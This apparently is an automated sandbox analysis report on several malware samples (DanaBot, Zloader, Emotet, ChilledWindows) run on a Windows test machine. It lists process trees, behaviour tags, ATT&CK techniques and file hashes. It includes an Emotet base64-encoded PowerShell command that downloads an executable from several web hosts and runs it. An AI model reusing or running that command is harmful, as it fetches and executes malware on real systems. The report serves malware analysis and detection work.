- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5612 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4008 /prefetch:1
  2⤵
  PID:3852
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5488 /prefetch:1
  2⤵
  PID:4456
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:1
  2⤵
  PID:2980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5808 /prefetch:1
  2⤵
  PID:3444
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5648 /prefetch:8
  2⤵
  PID:4896
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5684 /prefetch:1
  2⤵
  PID:2316
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6296 /prefetch:8
  2⤵
  PID:3612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6136 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2112
- C:\Users\Admin\Downloads\DanaBot.exe
  "C:\Users\Admin\Downloads\DanaBot.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4456
- - C:\Windows\SysWOW64\regsvr32.exe
    C:\Windows\system32\regsvr32.exe -s C:\Users\Admin\DOWNLO~1\DanaBot.dll f1 C:\Users\Admin\DOWNLO~1\DanaBot.exe@4456
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:4376
  - - C:\Windows\SysWOW64\rundll32.exe
      C:\Windows\SysWOW64\rundll32.exe C:\Users\Admin\DOWNLO~1\DanaBot.dll,f0
      4⤵
      Blocklisted process makes network request
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:2028
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4456 -s 464
    3⤵
    - Program crash
    PID:2464
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2108 /prefetch:1
  2⤵
  PID:3420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5560 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2992
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5708 /prefetch:1
  2⤵
  PID:5756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5788 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5792
- C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\Downloads\Zloader.xlsm"
  2⤵
  - Enumerates connected drives
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious use of SetWindowsHookEx
  PID:3888
- - C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\nxTgTGh\ECeMdPT\EnVYsVZ.dll,DllRegisterServer
    3⤵
    - Process spawned unexpected child process
    PID:3640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1728 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6164 /prefetch:1
  2⤵
  PID:5264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6328 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5964 /prefetch:1
  2⤵
  PID:1040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5984 /prefetch:1
  2⤵
  PID:3416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5156 /prefetch:1
  2⤵
  PID:3496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7004 /prefetch:1
  2⤵
  PID:540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7036 /prefetch:1
  2⤵
  PID:5856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2184 /prefetch:1
  2⤵
  PID:5868
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=7120 /prefetch:8
  2⤵
  PID:4040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7124 /prefetch:1
  2⤵
  PID:60
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6020 /prefetch:1
  2⤵
  PID:2680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6996 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6140 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3020
- C:\Users\Admin\Downloads\ChilledWindows.exe
  "C:\Users\Admin\Downloads\ChilledWindows.exe"
  2⤵
  - Executes dropped EXE
  - Enumerates connected drives
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  PID:3044
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4884 /prefetch:1
  2⤵
  PID:2720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2260 /prefetch:8
  2⤵
  PID:2976
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2140,6839275404980523156,6406529770348392981,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1780 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3188
- C:\Users\Admin\Downloads\Popup.exe
  "C:\Users\Admin\Downloads\Popup.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  PID:4912

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4892

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4456 -ip 4456
1⤵
PID:1008

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2396

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Temp1_Emotet.zip\[email protected]" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4288
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1016

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -enco JABqAHIARgBoAEEAMAA9ACcAVwBmADEAcgBIAHoAJwA7ACQAdQBVAE0ATQBMAEkAIAA9ACAAJwAyADgANAAnADsAJABpAEIAdABqADQAOQBOAD0AJwBUAGgATQBxAFcAOABzADAAJwA7ACQARgB3AGMAQQBKAHMANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAdQBVAE0ATQBMAEkAKwAnAC4AZQB4AGUAJwA7ACQAUwA5AEcAegBSAHMAdABNAD0AJwBFAEYAQwB3AG4AbABHAHoAJwA7ACQAdQA4AFUAQQByADMAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAEIAQwBsAEkARQBuAHQAOwAkAHAATABqAEIAcQBJAE4ARQA9ACcAaAB0AHQAcAA6AC8ALwBiAGwAbwBjAGsAYwBoAGEAaQBuAGoAbwBiAGwAaQBzAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADAAMQA0ADAAOAAwAC8AQABoAHQAdABwAHMAOgAvAC8AdwBvAG0AZQBuAGUAbQBwAG8AdwBlAHIAbQBlAG4AdABwAGEAawBpAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHAAYQBiAGEANQBxADUAMgAvAEAAaAB0AHQAcABzADoALwAvAGEAdABuAGkAbQBhAG4AdgBpAGwAbABhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMAA3ADMANwAzADUALwBAAGgAdAB0AHAAcwA6AC8ALwB5AGUAdQBxAHUAeQBuAGgAbgBoAGEAaQAuAGMAbwBtAC8AdQBwAGwAbwBhAGQALwA0ADEAOAAzADAALwBAAGgAdAB0AHAAcwA6AC8ALwBkAGUAZQBwAGkAawBhAHIAYQBpAC4AYwBvAG0ALwBqAHMALwA0AGIAegBzADYALwAnAC4AIgBzAFAATABgAGkAVAAiACgAJwBAACcAKQA7ACQAbAA0AHMASgBsAG8ARwB3AD0AJwB6AEkAUwBqAEUAbQBpAFAAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFYAMwBoAEUAUABNAE0AWgAgAGkAbgAgACQAcABMAGoAQgBxAEkATgBFACkAewB0AHIAeQB7ACQAdQA4AFUAQQByADMALgAiAEQATwB3AGAATgBgAGwATwBhAEQAZgBpAGAATABlACIAKAAkAFYAMwBoAEUAUABNAE0AWgAsACAAJABGAHcAYwBBAEoAcwA2ACkAOwAkAEkAdgBIAEgAdwBSAGkAYgA9ACcAcwA1AFQAcwBfAGkAUAA4ACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQARgB3AGMAQQBKAHMANgApAC4AIgBMAGUATgBgAGcAVABoACIAIAAtAGcAZQAgADIAMwA5ADMAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAHIAVAAiACgAJABGAHcAYwBBAEoAcwA2ACkAOwAkAHoARABOAHMAOAB3AGkAPQAnAEYAMwBXAHcAbwAwACcAOwBiAHIAZQBhAGsAOwAkAFQAVABKAHAAdABYAEIAPQAnAGkAagBsAFcAaABDAHoAUAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJAB2AFoAegBpAF8AdQBBAHAAPQAnAGEARQBCAHQAcABqADQAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5220

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x2f8 0x458
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2684

C:\Users\Admin\Downloads\ChilledWindows.exe
"C:\Users\Admin\Downloads\ChilledWindows.exe" C:\Users\Admin\Downloads\BabylonClient12.msi
1⤵
- Executes dropped EXE
- Enumerates connected drives
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187

Filesize
471B

MD5
72a69ca5c4b3df6591542ee7167a7d2c

SHA1
f0ef594bc0cae6b7c48301783cb319f8da130569

SHA256
5b5334f020a2cfe29b89903aa1176b3d6ac2e1c626d755e09c846619ae8b0603

SHA512
1728b9c19cddf8d65864df6837943e745d527111f1b3af068617d32813fd5422f32d3d6cb5fc3b485f3045c7c39a45f990dab7e461d50c2d61f8f4d9312b063a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187

Filesize
412B

MD5
c02b8610770ff3593691e5ab514ab1a1

SHA1
7b01635bec04ae85561c59725948ea101f27f2a8

SHA256
433b1a43336e9af35529cf3d55463829ceb55556980ca4b87c9ee8c2ebc42fb1

SHA512
168e426505faf2ce5a4bcc0d6c91f6ab3d9bff7990d0651fa0c12829875b8db1b60ac08660bb1df20b93e4561236eb7c835ff59022b45b5144d2c45beb6afbde

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
d7cb450b1315c63b1d5d89d98ba22da5

SHA1
694005cd9e1a4c54e0b83d0598a8a0c089df1556

SHA256
38355fd694faf1223518e40bac1996bdceaf44191214b0a23c4334d5fb07d031

SHA512
df04d4f4b77bae447a940b28aeac345b21b299d8d26e28ecbb3c1c9e9a0e07c551e412d545c7dbb147a92c12bad7ae49ac35af021c34b88e2c6c5f7a0b65f6a8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
37f660dd4b6ddf23bc37f5c823d1c33a

SHA1
1c35538aa307a3e09d15519df6ace99674ae428b

SHA256
4e2510a1d5a50a94fe4ce0f74932ab780758a8cbdc6d176a9ce8ab92309f26f8

SHA512
807b8b8dc9109b6f78fc63655450bf12b9a006ff63e8f29ade8899d45fdf4a6c068c5c46a3efbc4232b9e1e35d6494f00ded5cdb3e235c8a25023bfbd823992d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
8ad1074e23efaa11bba3521e31527f7d

SHA1
7e0785304b17bc784947d096327544e06721a6a1

SHA256
c540ff9403a453a1fd04470158041782dee46a4bf84cb98db19a5f5c4f2847f8

SHA512
d19960b02db519ae674b43d5d6726fd31df32a5e136321226950d932948ad3ad8cb2635bee2ea6c682075e660e0d4fd686bab2eb0bfd8d8d8923170346dc3777

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
2KB

MD5
947f4d25e77802aed867a2ff724b29e2

SHA1
7621fba3e4ce55cfc6e5b0a3bdcc5d01cbb5e374

SHA256
35411b918156433e441d67da706ed49bdfeb3cb875e572f210ab189c0512eb51

SHA512
6cfa2a613dcd1c65674625a66c05729c2ae90f8707e744acef35bf84f92ac21ede30b090332db3130b316445f7fe84e9bb4efdbb3788b6390e1a2eda3d7222f0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
579B

MD5
76ce25dd0003895d216aec011fd48815

SHA1
82b7e4be21ebef67d9fe1b9b8025961da5a45f9a

SHA256
c0098c46f84c08915e00ce0dba99fc5c119a8b277d1525335207466a7ce2f9bb

SHA512
7926cd52bd8cb212c621ebee307fb85584c8f3b565daca95eaef7c8620b68d567334ab8da6b041ff975183fb984d73a84a5f0ae2b7a51c2a60a58a38cdb45f3b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1KB

MD5
fb5b286140b821866260a186df92ff5c

SHA1
6a447aee34a0612989b1adc2ea23449b2a342a19

SHA256
29927562e9a04fbde3cf6b4a4bf57dbcede803eaea37405b29c54396c5b937b4

SHA512
7c4fef440c13499cc8a4da3463ea01505f746bd165ea3d3bdddeaa356efdb2adaf7b702a064e74eeaa4e3ef7fdbbcd01f9675a700ab3753d963561e5393d6f51

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
192b9c2ac14aad8a4070f074946e9d4f

SHA1
1e3782f7b77185813c86118094917340fed8161d

SHA256
640c23b4dfc220c957160734a14e0834582c7370dd5c5c27275db70efdce722e

SHA512
14e32ce2f9eddff7c3e54bf1023f9b30c555fa8d34c69e9c85786b220a34ddd92d6e3da139dafbecb587447ebcabd0856d299de8dbef526eda4e97ced3245b1c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
005c76adcb2602e27b1d0d65d28d413e

SHA1
a5e3ae1ee5bc39f55ed107e15e01abe6e0977909

SHA256
7e26d9777b5fe7b53c8a9e7ba566a8424f9b67abeac93af72b72620087473767

SHA512
9aba1432415b5c7904649deec1af11646305d1b265a988f1561952e2f62cd82aca38c226d12186f7cbb63bbdd70cbb94ca893b2b6c8d7f762101b9b1b1f27a3a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
56d818d316b2b58db02cb37f904e1d63

SHA1
726816d78acb3b045bda3cdc52c9d4d6a881cc78

SHA256
c5dc6bd7ff99252894561919f103531615bceec0fb9d763c3f80fd2ae1afe653

SHA512
7b6e3d20fe16e02abf525035d347c52b343218ad2e4ccebf6cba2f1a2b4a594dc3e37d65f5c03f36bf9f8f8444aca8ca9e658ab3e871feec409acc2c7025f224

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
d2a1dc277ec299fbcf46e5fd9315aa36

SHA1
3c48674602ab7abb8daa208ad286475c358d1d9e

SHA256
5244bb2c85fa872d0191bb5ea70029dab22ac0a99ab765f7e2dee7e673d06a8c

SHA512
7a47347bcd584a55a2134f6db19820c0fa2c4d12370f62884b4a145db50903cc72c976e3dd1cba8565f46462cbc1d0edf49e4239b075a0874c3a7dfe394b2d20

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
6e73e66356057f3d288e8d32cdae3614

SHA1
7f682690dcddd4ae43eb795b3c15e086dd39902f

SHA256
8f79947149670a104747bd3fb724cafdb5ed87f55c88eba6e0c4c6f062df2941

SHA512
5f195be07fc411dee161eb087cbef2ee344ee8ba6b457bd044de87a29ab2884ce63ee68e0adaac42942979b99f344fdccec9864424da654ced491ae471f5e6a3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
dd80327ec028b7a361498e0af5754da9

SHA1
551f6c6dc3141d084f1f089577a129e720a2ff39

SHA256
4483d60d4e56747a25cc1bed7325aafa608ce762fdb77ce946e7bf9a48a3c20d

SHA512
2402c7f1ac99f2230d958a518e7b4cd19d7d5a1b268e0491ec8bcd6cfd41bd175b0d572f99a0a69d36180fffac1d4ab60e4bab2eb1048abbc76cb943748abd53

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
6f5fbc4525c520f49720a80865f33bbd

SHA1
017d87bcb14c7ae6cf8951a8fb01fa9a0bf2eca0

SHA256
2f6703d32fe8e69b571cc8491b22217ebbad61a126668ac5f9ffa817e81fb0ea

SHA512
b2034ce49e8c6c3cd2b38adb6c9d3f74f34feb5ad7f422c5610ec5f4a551f8d4317f7908cac66c9c8c35dc094a92f211145b7fe6ff583c799f0e7c3dad9f30e7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
85099f22bf838b3ff18bb92da5d7065c

SHA1
6391062e4d898ac3fcd8fcb3445c91fe4be1811d

SHA256
75d3b0eaf8ae50ec09aef433b81d96e4163256ade98e302a93e281b35ac78c66

SHA512
b59b951075650660b9a9274ca7ae0ecbd76924aaf6b3c1aa0ed0c7913272e62b30a9fb12441d61e099520a63f1d3baba96c1175519bd20cd0e621a09e6065503

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
cea22e3fbde55298c6bc602eefff80f7

SHA1
af9ee8a8c92f1bdbf4d9786285f318168ca4f385

SHA256
